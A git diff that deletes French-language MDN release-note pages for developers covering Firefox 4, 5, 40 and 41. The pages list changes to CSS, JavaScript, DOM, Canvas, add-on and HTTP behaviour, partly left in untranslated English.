  • Le support de <menupopup type="places"> a été supprimé. A la place, vous devez créer et remplir un menu avec ds informations Places manuellement, plutôt que de l'avoir fait pour vous. Voir Displaying Places information using views: Menu view pour plus de détails.
    • -
- -

Changements dans les interfaces

- - - -

Gestion de la mémoire

- -
-
Allocation infaillible de la mémoire
-
Mozilla propose désormais des répartiteur de mémoire infaillible qui sont garantis de ne pas retouner null. Vous devriez lire cet article pour connaitre leur fonctionnement et savoir comment demander l'allocation de la mémoire.
-
- -

Autres changements

- -
    -
  • La plupart des ressources que Firefox contient ont été combinées dans une seule archive JAR (omni.jar), ce qui améliore les performances au démarrage en réduisant l'I/O. Pour plus de détails, lisez About omni.jar.
    • -
  • La préférence accessibility.disablecache n'est plus supportée, elle a seulement été utilisée à des fins de débogage et n'est plus employée.
    • -
  • Les extensions dont le GUID change d'une version à une autre peuvent maintenant être mise à jour correctement.
    • -
  • As a side effect of the removal of platform-specific directories in add-on bundles, you can no longer provide different default preferences for each platform.
    • -
  • Par défaut, les extensions ne sont plus décompressées quand elles sont installées, mais sont plutôt exécutées directement à partir du fichier XPI. Les extensions peuvent utiliser la propriété unpack dans le manifeste d'installation pour choisir l'ancien comportement. Les extensions qui utilisent des composants binaires, des DLLs chargées avec js-ctypes, des plugins de recherche, des dictionnaires et une fenêtre d'icônes doivent préciser ce dont elles ont besoin pour être décompressées. Les extensions qui créent des bases de données SQLite, ou font des copies de fichiers du système relatifs au répertoire de l'extension, peuvent aussi avoir besoin de modifier leur code.
    • -
  • You may now include extensions that automatically get installed at application startup within a customized Firefox.
    • -
- -

Autres changements

- -
-
Seul le fichier chrome.manifest racine est chargé
-
maintenant seul le fichier chrome.manifest racine est chargé ; si vous avez besoin de fichiers manifestes secondaires à charger, vous pouvez utilisez la commande manifest dans votre fichier chrome.manifest racine pour les charger.
-
Suppression du support de Gopher
-
Le protocole Gopher n'est plus supporté nativement. L'extension OverbiteFF permet de continuer à le supporter.
-
Gestion des évènement du processus Content
-
Pour le support des plugins hors du processus et les multiples processus caractéristiques, une nouvelle API a été mise en place pour permettre l'envoi de messages dans les processus.
-
Bootstrap des extensions
-
Vous pouvez désormais créer des extensions qui peuvent être installées, désinstallées et mises à jour sans nécessiter le redémarrage du navigateur.
-
Suppression des plugins par défaut
-
The default plugin has been removed. The application plugins folder has also been removed by default, however support for installing plugins via this folder still exists. Voir bug 533891.
-
Extension Manager remplacé par Addon Manager
-
nsIExtensionManager a été remplacée par AddonManager.
-
Child HWNDs n'est plus utilisé
-
Firefox ne créé plus de child HWNDs pour son usage interne sous Windows. Si vous avez codé une extension qui utilise du code natif pour manipuler ces HWNDs, votre extensions ne fonctionnera pas dans Firefox 4. Soit vous devez arrêter l'utilisation de HWND ou soit mettre votre code reposant sur HWND dans un plugin NPAPI. C'est un gros travail, alors si vous pouviez éviter d'utiliser HWND directement.
-
Changements dans les gestes
-
Les gestes par défaut ont été changés, en faisant glisser trois doigts de haut en bas sur le trackpad cela ouvrira ou fermera Firefox Panorama. Pour modifier les éléments précédents, afin d'avoir les commandes de défilement haut et défilement bas, ouvrez about:config et mettez cmd_scrollBottom pour browser.gesture.swipe.down et cmd_scrollTop pour browser.gesture.swipe.up.
-
- -

Voir également

- -
- -
diff --git a/files/fr/mozilla/firefox/versions/40/index.html b/files/fr/mozilla/firefox/versions/40/index.html deleted file mode 100644 index 82eb7fa6a7..0000000000 --- a/files/fr/mozilla/firefox/versions/40/index.html +++ /dev/null @@ -1,198 +0,0 @@ ---- -title: Firefox 40 pour développeurs -slug: Mozilla/Firefox/Versions/40 -translation_of: Mozilla/Firefox/Releases/40 ---- -
{{FirefoxSidebar}}
To test the latest developer features of Firefox,
-install Firefox Developer Edition Firefox 40 was released on August 11, 2015. This article lists key changes that are useful not only for web developers, but also Firefox and Gecko developers as well as add-on developers.
- -

Changements pour les développeurs Web

- -

Outils pour Développeurs

- -

Nouveautés:

- - - -

More:

- - - -

Autres: Tous les bugs devtools corrigés depuis Firefox 39 et Firefox 40.

- -

 

- -

CSS

- -
    -
  • Règles de préfixe (-moz-) pour {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, et {{cssxref("text-decoration-style")}} ont été supprimé ({{bug(1097922)}}).
    • -
  • La propriété {{cssxref("text-align")}} supporte dorénavant la valeur match-parent bug(645642)}}).
    • -
  • Dans le mode Quirks, {{cssxref("empty-cells")}} a pour valeur par défaut show, comme dans le mode standard ({{bug(1020400)}}).
    • -
  • La propriété non standard {{cssxref("-moz-orient")}}, utilisée pour faire un rendu sur les éléments {{HTMLElement('meter')}} et {{HTMLElement('progress')}} a été adaptée pour les modes d'écriture verticales: la valeur auto a été supprimée et les valeurs inline et  block ajoutées, avec inline comme nouvelle valeur par défaut {{bug(1028716)}}).
    • -
- -

HTML

- -

pas de changement.

- -

JavaScript

- -
    -
  • Unreachable code after {{jsxref("Statements/return", "return")}} statement (including unreachable expression after {{jsxref("Statements/return", "semicolon-less return statements", "#Automatic_semicolon_insertion", 1)}}) will now show a warning in the console ({{bug(1005110)}}, {{bug(1151931)}}).
    • -
  • {{jsxref("Symbol.match")}} a été ajouté ({{bug(1054755)}}).
    • -
  • Passing an object which has a property named {{jsxref("Symbol.match")}} with a {{Glossary("truthy")}} value to {{jsxref("String.prototype.startsWith")}}, {{jsxref("String.prototype.endsWith")}}, and {{jsxref("String.prototype.contains")}} now throws a {{jsxref("TypeError")}} ({{bug(1054755)}}).
    • -
  • {{jsxref("RegExp")}} function returns pattern itself if called without {{jsxref("Operators/new", "new")}} and pattern object has a property named {{jsxref("Symbol.match")}} with a {{Glossary("truthy")}} value, and the pattern object's constructor property equals to  {{jsxref("RegExp")}} function. ({{bug(1147817)}}).
    • -
  • Support for the non-standard JS1.7 destructuring for-in has been dropped ({{bug(1083498)}}).
    • -
  • Les initialiseurs d'expression non-standard dans les boucles for...in sont dorénavant ignorés et seront indiqués par un avertissement dans la console. ({{bug(748550)}} et {{bug(1164741)}}).
    • -
  • \u{xxxxxx} Unicode code point escapes have been added ({{bug(320500)}}).
    • -
  • {{jsxref("String.prototype.includes", "String.prototype.contains", "#String.prototype.contains")}} has been replaced with {{jsxref("String.prototype.includes")}}, String.prototype.contains is kept as an alias ({{bug(1102219)}}).
    • -
  • If the {{jsxref("DataView")}} constructor is called as a function without the {{ jsxref("Operators/new", "new") }} operator, a {{jsxref("TypeError")}} is now thrown as per the ES6 specification.
    • -
  • An issue regressed in Firefox 21, where proxyfied arrays without the get trap were not working properly, has been fixed. If the get trap in a {{jsxref("Proxy")}} was not defined, {{jsxref("Array.length")}} returned 0 and the set trap didn't get called. A workaround was to add the get trap even if was not necessary in your code. This issue has been fixed now ({{bug(895223)}}).
    • -
  • {{jsxref("WeakMap.prototype")}} and {{jsxref("WeakSet.prototype")}} have been updated to be just ordinary objects, per ES6 specification ({{bug(1055473)}}).
    • -
  • The {{jsxref("RegExp.prototype.source")}} property is now prototype accessor property rather than own data property of RegExp instances ({{bug(1120169)}}, {{bug(1150297)}}).
    • -
- -

Interfaces/APIs/DOM

- -

Nouvelles APIs

- - - -

Web Animations API

- -

Amélioration de notre implémentation des animations Web expérimentales, principalement mostley to match latest spec changes:

- -
    -
  • {{domxref("AnimationPlayer.currentTime")}} now can also be set ({{bug(1072037)}}).
    • -
  • Animatable.getAnimationPlayers(), available on {{domxref("Element")}} has been renamed to {{domxref("Element.getAnimations()")}} ({{bug(1145246)}}).
    • -
  • Animation and AnimationEffect have been merged into the newly created {{domxref("KeyframeEffectReadOnly")}} ({{bug(1153734)}}).
    • -
  • AnimationPlayer has been renamed to {{domxref("Animation")}} ({{bug(1154615)}}).
    • -
  • {{domxref("AnimationTimeline")}} is now an abstract class, with {{domxref("DocumentTimeline")}} its only implementation ({{bug(1152171)}}).
    • -
- -

CSSOM

- -
    -
  • The CSS Font Loading API is now enabled by default in Nightly and Developer Edition releases ({{bug(1088437)}}). It is still deactivated by default in Beta and Release browsers.
    • -
  • The CSSCharsetRule interface has been removed and such objects are no longer available in CSSOM ({{bug(1148694)}}). This matches the spec (recently adapted) and Chrome behavior.
    • -
- -

WebRTC

- -
    -
  • WebRTC: the {{event("negotiationneeded")}} event is now also sent for initial negotiations, not only for re-negotiations ({{bug(1149838)}}).
    • -
- -

DOM & HTML DOM

- -
    -
  • When unable to parse the {{htmlattrxref("srcset", "image")}},  the {{domxref("HTMLImageElement.currentSrc")}} method doesn't return null anymore but "", as requested by the latest specification ({{bug(1139560)}}).
    • -
  • Like for images, Firefox now throttle {{domxref("Window.requestAnimationFrame()")}} for non-visible {{HTMLElement("iframe")}} ({{bug(1145439)}}).
    • -
  • {{domxref("Navigator.taintEnabled")}} is no longer available for Web workers ({{bug(1154878)}}).
    • -
  • The read-only properties {{domxref("MouseEvent.offsetX")}} and {{domxref("MouseEvent.offsetY")}} have been implemented {{bug("69787")}}.
    • -
- -

Web Audio API

- -

Nouvelles extensions pour l'API Web Audio:

- -
    -
  • The {{domxref("AudioContext.state")}} and {{domxref("AudioContext.onstatechange")}} properties as well as the methods {{domxref("AudioContext.suspend()")}}, {{domxref("AudioContext.resume()")}}, and {{domxref("AudioContext.close()")}} have been added ({{bug(1094764)}}).
    • -
  • {{domxref("AudioBufferSourceNode")}} now implements the {{domxref("AudioBufferSourceNode.detune")}} k-rate attribute ({{bug(1153783)}}).
    • -
- -

Web Workers

- -
    -
  • Légère amélioration dans notre API Service Worker : la méthode {{domxref("ServiceWorkerRegistration.update()", "update()")}} a été changée de {{domxref("ServiceWorkerGlobalScope")}} vers {{domxref("ServiceWorkerRegistration")}} ({{bug(1131350)}}).
    • -
  • {{domxref("ServiceWorkerRegistration")}} est maintenant disponible dans les Web workers ({{bug("1131327")}}).
    • -
  • {{domxref("DataStore")}} est maintenant disponible dans les Web workers ({{bug(916196)}}).
    • -
- -

IndexedDB

- -
    -
  • {{domxref("IDBTransaction")}} sont maintenant temporaire par default. bug(1112702)}}). Cela privilegie les performances par rapport a la fiabilité et est en phase les autres navigateurs. Pour plus d'information, lire notre durability definition.
    • -
- -

Dev Tools

- -
    -
  • La propriété {{domxref("Console.timeStamp")}} a été ajoutée ({{bug(922221)}}).
    • -
- -

MathML

- -

pas de changement.

- -

SVG

- -

pas de changement.

- -

Audio/Video

- -

pas de changement.

- -

Networking

- -

pas de changement.

- -

Security

- -
    -
  • L'utilisation d'un asterisk (*) dans {{Glossary("CSP")}} n'inclus plus le schema data:, blob: or :filesystem lors de la comparaison des expressions sources. Ces schemas doivent dorénavant etre définis explicitement dans l'entete concernée afin de correspondre au CSP ({{bug(1086999)}}).
    • -
- -

Changes for add-on and Mozilla developers

- -

XUL

- -

pas de changement.

- -

JavaScript code modules

- -
    -
  • Dict.jsm a été supprimé {{bug(1123309)}}. Veuillez utiliser {{jsxref("Map")}} en remplacement.
    • -
- -

XPCOM

- -

No change.

- -

Other

- -
    -
  • Places Keywords API has been deprecated and will be removed soon ({{bug(1140395)}}).
    • -
- -

See also

- - - -

Older versions

- -

{{Firefox_for_developers('39')}}

diff --git a/files/fr/mozilla/firefox/versions/40/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/40/site_compatibility/index.html deleted file mode 100644 index cbe82d4b21..0000000000 --- a/files/fr/mozilla/firefox/versions/40/site_compatibility/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 40 -slug: Mozilla/Firefox/Versions/40/Site_Compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 40 - - FxSiteCompat - - Guide -translation_of: Mozilla/Firefox/Releases/40/Site_Compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/41/index.html b/files/fr/mozilla/firefox/versions/41/index.html deleted file mode 100644 index 8ad0302211..0000000000 --- a/files/fr/mozilla/firefox/versions/41/index.html +++ /dev/null @@ -1,198 +0,0 @@ ---- -title: Firefox 41 pour développeurs -slug: Mozilla/Firefox/Versions/41 -tags: - - Firefox - - Versions -translation_of: Mozilla/Firefox/Releases/41 ---- -
{{FirefoxSidebar}}
To test the latest developer features of Firefox,
-install Firefox Developer Edition Firefox 41 was released on September 22, 2015. This article lists key changes that are useful not only for web developers, but also Firefox and Gecko developers as well as add-on developers.
- -

Changements pour les développeurs Web

- -

Outils pour Développeurs

- -

Nouveautés:

- - - -

All devtools bugs fixed between Firefox 40 and Firefox 41: note that many of these bugs, especially those relating to the performance tools, were uplifted to Firefox 40.

- -

CSS

- -
    -
  • Support for laying out vertical scripts has been activated by default ({{bug(1138384)}}). That means that the following CSS properties are now available: -
      -
    • Choosing the direction of writing: {{cssxref("writing-mode")}}.
      • -
    • Controlling orientation of characters: {{cssxref("text-orientation")}}.
      • -
    • Direction-independent equivalents of {{cssxref("width")}} and {{cssxref("height")}}: {{cssxref("block-size")}} and {{cssxref("inline-size")}}.
      • -
    • Direction-independent equivalents of {{cssxref("min-width")}} and {{cssxref("min-height")}}: {{cssxref("min-block-size")}} and {{cssxref("min-inline-size")}}.
      • -
    • Direction-independent equivalents of {{cssxref("max-width")}} and {{cssxref("max-height")}}: {{cssxref("max-block-size")}} and {{cssxref("max-block-size")}}.
      • -
    • Direction-independent equivalents of {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} and {{cssxref("margin-left")}}: {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}}, {{cssxref("margin-inline-start")}} and {{cssxref("margin-inline-end")}}.
      • -
    • Direction-independent equivalents of {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} and {{cssxref("padding-left")}}: {{cssxref("padding-block-start")}}, {{cssxref("padding-block-end")}}, {{cssxref("padding-inline-start")}} and {{cssxref("padding-inline-end")}}.
      • -
    • Direction-independent equivalents of {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} and {{cssxref("border-left")}} and their longhands for width, style and color: {{cssxref("border-block-start")}}, {{cssxref("border-block-start-width")}}, {{cssxref("border-block-start-style")}}, {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end")}}, {{cssxref("border-block-end-width")}}, {{cssxref("border-block-end-style")}}, {{cssxref("border-block-end-color")}}, {{cssxref("border-inline-start")}}, {{cssxref("border-inline-start-width")}}, {{cssxref("border-inline-start-style")}}, {{cssxref("border-inline-start-color")}}, {{cssxref("border-inline-end")}}, {{cssxref("border-inline-end-width")}}, {{cssxref("border-inline-end-style")}} and {{cssxref("border-inline-end-color")}}.
      • -
    • Direction-independent equivalents of {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} and {{cssxref("left")}}: {{cssxref("offset-block-start")}}, {{cssxref("offset-block-end")}}, {{cssxref("offset-inline-start")}} and {{cssxref("offset-inline-end")}}.
      • -
    -
    • -
- -

HTML

- -
    -
  • {{HTMLElement("a")}} without an href attribute is no longer classified as interactive content. Clicking it inside {{HTMLElement("label")}} will activate labelled content ({{bug(1167816)}}).
    • -
  • SVG icons are now supported for site icons, that is favicons and shortcut icons ({{bug(366324)}}).
    • -
  • The {{htmlattrxref('crossorigin', 'link')}} attribute is now supported for <link rel='preconnect'> ({{bug(1174152)}}).
    • -
- -

JavaScript

- -
    -
  • {{jsxref("Date.prototype")}} is now an ordinary object, not a {{jsxref("Date")}} instance anymore ({{bug(861219)}}).
    • -
  • {{jsxref("Date.prototype.toString")}} is now a generic method ({{bug(861219)}}).
    • -
  • {{jsxref("Symbol.species")}} has been added ({{bug(1131043)}}).
    • -
  • {{jsxref("Map.@@species", "Map[@@species]")}} and {{jsxref("Set.@@species", "Set[@@species]")}} getters have been added ({{bug(1131043)}}).
    • -
  • Non-standard {{jsxref("Statements/let", "let expression", "#let_expressions", 1)}} support has been dropped ({{bug(1023609)}}).
    • -
  • {{jsxref("Functions/Default_parameters", "Destructured parameters with default value assignment", "#Destructured_parameter_with_default_value_assignment", 1)}} are now supported ({{bug(1018628)}}).
    • -
  • Per ES6, curly braces are required for method definitions. Syntax without them will fail from now on ({{bug(1150855)}}).
    • -
  • Method definitions (except for generator methods) are not constructable anymore ({{bug(1059908)}} and {{bug(1166950)}}).
    • -
  • As part of ES6 specification compliance, parenthesized destructuring patterns, like ([a, b]) = [1, 2] or ({a, b}) = { a: 1, b: 2 }, are now considered invalid and will throw a {{jsxref("SyntaxError")}}. See Jeff Walden's blog post for more details.
    • -
  • The new.target syntax has been added ({{bug(1141865)}}).
    • -
- -

Interfaces/APIs/DOM

- -

HTML Editing API

- -
    -
  • Cut, copy and paste commands handling has been revamped and now allow programmatic copying and cutting from JS for Web content: -
      -
    • With the 'paste' command as argument, {{domxref("Document.queryCommandSupported()")}} now returns false if has insufficient privileges to actually perform the action ({{bug(1161721)}}).
      • -
    • With the 'cut' or 'copy' command as argument, {{domxref("Document.queryCommandSupported()")}} now returns true if called within the context of a user-initiated or privileged code ({{bug(1162952)}}).
      • -
    • With the 'cut' or 'copy' command as argument, {{domxref("Document.execCommand()")}} now works, but only within the context of user-initiated or privileged code ({{bug(1012662)}}).
      • -
    -
    • -
- -

Events

- -
    -
  • The non-standard {{domxref("CloseEvent.initCloseEvent()")}} method and the ability to create a {{domxref("CloseEvent")}} using the {{domxref("Event.createEvent", "Event.createEvent('CloseEvent')")}} method has been removed; use the standard constructor, {{domxref("CloseEvent.CloseEvent", "CloseEvent()")}} instead ({{bug(1161950)}}).
    • -
  • On Desktop, {{domxref("PointerEvent")}} is now activated by default in Nightly; it is not activated in Developer Edition, Beta or Release and won't be for at least some versions ({{bug(1166347)}}).
    • -
  • The unprefixed version of {{domxref("MouseEvent.movementX")}} and {{domxref("MouseEvent.movementY")}}}} have been added; the prefixed versions are deprecated and will be removed at some point in the future ({{bug(1164981)}}).
    • -
- -

Web Crypto

- -
    -
  • {{domxref("SubtleCrypto.importKey()")}} and {{domxref("SubtleCrypto.exportKey()")}} now supports ECDH keys ({{bug(1050175)}}).
    • -
- -

Canvas API

- -
    -
  • {{domxref("HTMLCanvasElement.captureStream()")}} and {{domxref("CanvasCaptureMediaStream")}} have been added and allow to stream the display of a {{HTMLElement("canvas")}} in real-time ({{bug(1032848)}}).
    • -
  • {{domxref("MediaStream.id")}} now returns the unique id of a stream ({{bug(1089798)}}).
    • -
  • The initial value of {{domxref("CanvasRenderingContext2D.filter")}} is now correctly set to none ({{bug(1163124)}}).
    • -
- -

Service Workers

- -
    -
  • Improvement to our experimental Service Worker implementation: - -
      -
    • {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} has been implemented ({{bug(1131352)}}).
      • -
    • {{domxref("Clients.claim()")}} has been added ({{bug(1130684)}}).
      • -
    • The other functional events of Service Workers have been made to inherit from {{domxref("ExtendableEvent")}}, giving them access to the {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} method ({{bug("1160527")}}).
      • -
    -
    • -
  • The {{domxref("CacheStorage")}} and {{domxref("Cache")}} interfaces are now supported ({{bug("1110144")}}).
    • -
- -

Miscellaneous

- -
    -
  • On OS X and Windows, {{domxref("NavigatorOnLine.onLine", "Navigator.onLine")}} now changes regarding network connectivity (it always returned true, , unless "Work offline" mode was selected) before ({{bug(654579)}}).
    • -
  • {{domxref("MessagePort")}} and {{domxref("MessageChannel")}} now available in Web workers, and are enabled by default in all contexts ({{bug(952139)}}) and ({{bug(911972)}}).
    • -
  • The User Timing API is now available in Web workers ({{bug(1155761)}}).
    • -
  • The Notifications API is now available in Web workers ({{bug(916893)}}).
    • -
  • {{domxref("DOMRequest")}} and {{domxref("DOMCursor")}} are now available in Web workers ({{bug(1167650)}}).
    • -
  • The CSS Font Loading API is now enabled by default ({{bug(1149381)}}).
    • -
  • Shared workers can no longer be shared between private (i.e. browsing in a private window) and non-private documents (see {{bug(1177621)}}).
    • -
  • The {{domxref("URLUtilsSearchParams.searchParams")}} property is now read-only ({{bug(1174731)}}).
    • -
  • -

    The {{domxref('URLUtils.hash')}} property no longer decodes URL fragment ({{bug(1093611)}}).

    -
    • -
- -

MathML

- -

New default and fallback font handling

- -

Mathematical formulas require special fonts. So far, these fonts were hard-coded in the mathml.css user agent stylesheet (which sets the font-family on {{MathMLElement("math")}} tag) and in the preference option font.mathfont-family (which sets the fallback fonts to use for stretchy and large operators). Firefox 41 introduces, an internal x-math language that is automatically set on the <math> tag as well as corresponding preference options (e.g. font.name.serif.x-math). The user agent stylesheet now sets font-family to serif on the <math> tag and the preference option font.mathfont-family is replaced with font.name.serif.x-math.  All platforms now essentially use the same list of fallback fonts, with "Latin Modern Math" as first one. The default/fallback fonts can be configured from the standard per-language font preference menu. For more details, see {{bug(947654)}} and {{bug(1160456)}}.

- -

SVG

- -
    -
  • Site icons (favicons, shortcut icons) now support SVG ({{bug(366324)}}).
    • -
- -

Audio/Video

- -
    -
  • The media.autoplay.enabled preference now also apply to untrusted {{domxref("HTMLMediaElement.play()")}} invocations too, that is calls from non-users activated scripts ({{bug(659285)}}).
    • -
- -

HTTP

- -
    -
  • The X-Content-Duration header is no longer supported ({{Bug(1160695)}}).
    • -
- -

Networking

- -

pas de changement.

- -

Security

- -
    -
  • The CSP 1.1 manifest-src directive is now supported ({{bug(1089255)}}).
    • -
- -

Changes for add-on and Mozilla developers

- -

XUL

- -

pas de changement.

- -

JavaScript code modules

- -

pas de changement.

- -

XPCOM

- -

Interfaces

- -

pas de changement.

- -

Other

- -

pas de changement.

- -

See also

- - - -

Older versions

- -

{{Firefox_for_developers('40')}}

diff --git a/files/fr/mozilla/firefox/versions/41/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/41/site_compatibility/index.html deleted file mode 100644 index 2c89135474..0000000000 --- a/files/fr/mozilla/firefox/versions/41/site_compatibility/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 41 -slug: Mozilla/Firefox/Versions/41/Site_Compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 41 - - FxSiteCompat - - Guide -translation_of: Mozilla/Firefox/Releases/41/Site_Compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/5/index.html b/files/fr/mozilla/firefox/versions/5/index.html deleted file mode 100644 index 18020bc53e..0000000000 --- a/files/fr/mozilla/firefox/versions/5/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Firefox 5 pour les développeurs -slug: Mozilla/Firefox/Versions/5 -tags: - - Firefox - - Firefox 5 -translation_of: Mozilla/Firefox/Releases/5 ---- -
{{FirefoxSidebar}}
- -

Firefox 5, basé sur Gecko 5.0, est sorti le 21 juin 2011. Cet article fournit des informations à propos des changements qui affectent les développeurs dans cette version.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • Tous les éléments HTML ont maintenant l'attribut {{domxref("element.accessKey", "accessKey")}}, ainsi que les méthodes {{domxref("element.blur()", "blur()")}}, {{domxref("element.click()", "click()")}} et {{domxref("element.focus()", "focus()")}}. Elles sont spécifiées dans l'interface {{domxref("HTMLElement")}}.
    • -
  • Afin d'être conforme à la spécification HTML5, le support des jeux de caractères UTF-7 et UTF-32 a été retiré.
    • -
  • Lorsque l'on est en mode quirks, les {{HTMLElement("map")}} vides ne sont plus ignorées en faveur des non-vides quand elles correspondent. Pour plus de détails, voir les notes de Gecko sur l'élément {{HTMLElement("map")}}.
    • -
  • Firefox mobile pour Android supporte désormais les polices WOFF pour {{cssxref("@font-face")}}.
    • -
  • WebGL ne charge plus les textures provenant d'autres domaines que celui d'origine, par mesure de sécurité. Le support du contrôle d'accès d'HTTP devrait arriver dans le futur pour que le chargement des textures se fasse en toute sécurité.
    • -
- -

Améliorations de Canvas

- -
    -
  • L'environnement de dessin 2D {{HTMLElement("canvas")}} supporte désormais la spécification d'un objet ImageData en entrée de la méthode createImageData() ; cela créé un nouvel objet ImageData qui est initialisé avec les mêmes dimensions que l'objet spécifié, mais tous les pixels sont toujours prédéfinis en noir transparent. ceci a été documenté comme déjà mis en oeuvre alors que ça ne l'était pas.
    • -
  • Spécifier des valeurs non finies lors de l'ajout de couleur arrête l'ajout via un appel à addColorStop() de la méthode {{domxref("CanvasGradient")}} en renvoyant désormais INDEX_SIZE_ERR à la place de SYNTAX_ERR.
    • -
  • La méthode {{domxref("HTMLCanvasElement")}} toDataURL() now correctly lower-cases the specified MIME type before matching.
    • -
  • getImageData() accepte maintenant correctement les rectangles qui vont au-delà des limites de la zone, les pixels qui sont en dehors de la zone sont mis en noir transparent.
    • -
  • drawImage() et createImageData() traitent désormais les arguments négatifs conformément à la spécification, en retournant le rectangle autour de l'axe approprié. Nous avons besoin d'un article sur CSS sizing et son fonctionnement.
    • -
  • La spécification de valeurs non-finies lors de l'appel de createImageData() renvoi maintenant l'exception NOT_SUPPORTED_ERR.
    • -
  • createImageData() et getImageData() retournent maintenant correctement une valeur d'un pixel en données d'image si un rectangle plus petit qu'un petit qu'un pixel est spécifié.
    • -
  • La spécification d'un angle négatif lors de l'appel de createRadialGradient() renvoi désormais INDEX_SIZE_ERR.
    • -
  • La spécification d'une image null ou undefined lors de l'appel de createPattern() ou drawImage() renvoi désormais l'exception TYPE_MISMATCH_ERR.
    • -
  • La spécification de valeurs incorrectes pour globalAlpha ne renvoie plus l'exception SYNTAX_ERR, cela est désormais ignoré silencieusement.
    • -
  • La spécification de valeurs incorrectes lors de l'appel de translate(), transform(), rect(), clearRect(), fillRect(), strokeRect(), lineTo(), moveTo(), quadraticCurveTo() ou arc() ne renvoie plus une exception ; ces appels sont désormais ingorés silencieusement.
    • -
  • Le réglage de la valeur de shadowOffsetX, shadowOffsetY ou shadowBlur avec une valeur incorrecte est désormais ignoré silencieusement.
    • -
  • Le réglage de la valeur de rotate ou scale avec une valeur incorrecte est désormais ignoré silencieusement.
    • -
- -

CSS

- -
-
Animations CSS
-
Le support pour les animations CSS a été ajouté, pour l'instant il faut utilisé le préfixe -moz-.
-
- -

DOM

- -
    -
  • L'objet {{domxref("selection")}} de la méthode modify() a été modifiée afin que la sélection de la granularité "mot" ne contienne plus les espaces à la fin, ce qui est plus cohérent et correspond au comportement de WebKit.
    • -
  • La méthode {{domxref("window.setTimeout()")}} veille maintenant à ne plus envoyer de délai d'attente dans les onglets inactifs. En plus, le délai est imbriqué à la valeur minimale autorisée par la spécification HTML5 : 4 ms (au lieu de 10 ms qui sert à fixer).
    • -
  • De même, la méthode {{domxref("window.setInterval()")}} ne serre pas plus d'un intervalle par seconde dans les onglets inactifs.
    • -
  • XMLHttpRequest supporte maintenant l'évènement loadend. C'est envoyé après qu'un transfert soit terminé (c'est-à-dire après l'évènement abort, error ou load). Vous pouvez utiliser cette fonction pour gérer les tâches qui doivent être exécutées indépendamment de la réussite ou l'échec d'un transfert.
    • -
  • {{domxref("Blob")}} et, par extension, les objets de {{domxref("File")}} de la méthode slice() ont été supprimés et remplacés par une nouvelle, avec une syntaxe qui la rend mieux compatible avec les méthodes Array.slice() et String.slice() dans JavaScript. Cette méthode s'appelle pour l'instant mozSlice().
    • -
  • La valeur de {{domxref("window.navigator.language")}} est maintenant déterminée en examinant la valeur de l'en-tête HTTP Accept-Language.
    • -
  • La propriété {{domxref("Node.prefix")}} est maintenant en lecture seule, comme l'exige la spécification DOM.
    • -
  • {{domxref("HTMLVideoElement")}} supporte maintenant des propriétés expérimentales qui permettent d'obtenir des informations sur les statistiques des vidéos comme le nombres d'images par seconde.
    • -
- -

JavaScript

- -
    -
  • Les expressions régulières ne sont plus appelable comme si il s'agissait de fonctions, ce changement a été fait de concert avec l'équipe de WebKit afin d'assurer la compatibilité (voir {{WebkitBug(28285)}}. Cette fonctionnalité existait depuis longtemps déjà mais n'a jamais été documentée (du moins, pas sur MDN).
    • -
  • La méthode Function.prototype.isGenerator() est désormais supportée, ce qui vous permet de déterminer si une fonction est génératrice.
    • -
  • Les mots suivants ont été réservés : class, enum, export, extends, import et super. Auparavant, ils étaient uniquement considérés comme réservés en mode strict.
    • -
  • Les documents DOM crées dans le chrome ne peuvent plus être exposés à des scripts en sandbox.
    • -
  • Le parser JSON a été ré-écrit pour améliorer la vitesse et la conformité. Ce qui inclut un correctif pour le {{bug("572279")}}.
    • -
- -

SVG

- -
    -
  • L'attribut SVG {{SVGAttr("class")}} peut maintenant être animé.
    • -
  • Les interfaces SVG suivantes sont liées à des interfaces DOM représentant les listes d'objets qui sont maintenant indexables et peuvent être consultées comme des tableaux ; en outre, ils ont une propriété length indiquant le nombre d'éléments dans les listes : {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}} et {{domxref("SVGPointList")}}.
    • -
- -

HTTP

- -
    -
  • Firefox n'envoi plus l'en-tête HTTP Keep-Alive, nous n'avons pas pu le formater correctement et il était redondant car on retrouve la valeur "keep-alive" dans l'en-tête {{httpheader("Connection")}} ou {{httpheader("Proxy-Connection")}}.
    • -
  • Le modèle de transaction HTTP a été mis à jour pour être plus intelligent sur la réutilisation des connexions dans le pool de connexions persistantes, au lieu de traiter le pool pool comme une file d'attente {{interwiki("wikipedia", "FIFO")}}, Necko tente maintenant de trier le pool avec des connexions avec la fenêtre qui a le plus de {{interwiki("wikipedia", "congestion window")}} (CWND) en premier. Cela peut réduire le temps d'aller-retour (RTT) des transactions HTTP en évitant la nécessité de développer des connexions fenêtres dans de nombreux cas.
    • -
  • Firefox gère désormais l'en-tête de réponse HTTP Content-Disposition plus efficacement si les deux paramètres filename et filename* sont fournis, il regarde à travers tous les noms fournis, en utilisant le paramètre filename* si il est disponible, même si un paramètre filename est inclus en premier. Auparavant, le premier paramètre correspondant était utilisé, ce qui empêchait l'utilisation d'un nom plus approprié. Voir {{bug(588781)}}.
    • -
- -

MathML

- - - -

